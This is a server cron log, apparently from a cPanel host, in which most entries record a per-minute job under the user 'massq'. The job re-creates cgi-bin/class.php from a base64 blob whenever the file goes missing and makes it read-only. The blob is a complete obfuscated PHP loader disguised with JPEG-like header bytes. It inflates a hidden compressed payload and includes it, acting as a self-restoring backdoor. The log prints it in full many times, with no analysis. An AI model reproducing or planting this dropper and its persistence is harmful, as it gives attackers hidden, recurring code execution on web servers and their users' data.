Nov 11 14:51:01 server CROND[32134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:52:01 server CROND[32662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:53:01 server CROND[1114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:54:01 server CROND[1976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:55:01 server CROND[2789]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:55:01 server CROND[2791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 14:55:01 server CROND[2792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 14:56:01 server CROND[3714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:57:01 server CROND[4524]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 14:57:01 server CROND[4525]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:58:01 server CROND[5289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 14:59:01 server CROND[6194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:00:01 server CROND[7026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:00:01 server CROND[7027]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 15:00:01 server CROND[7025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:00:01 server CROND[7032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:01:01 server CROND[7796]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 15:01:01 server CROND[7797]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:01:01 server run-parts(/etc/cron.hourly)[7796]: starting 0anacron
Nov 11 15:01:01 server run-parts(/etc/cron.hourly)[7809]: finished 0anacron
Nov 11 15:02:01 server CROND[8666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:03:01 server CROND[9602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
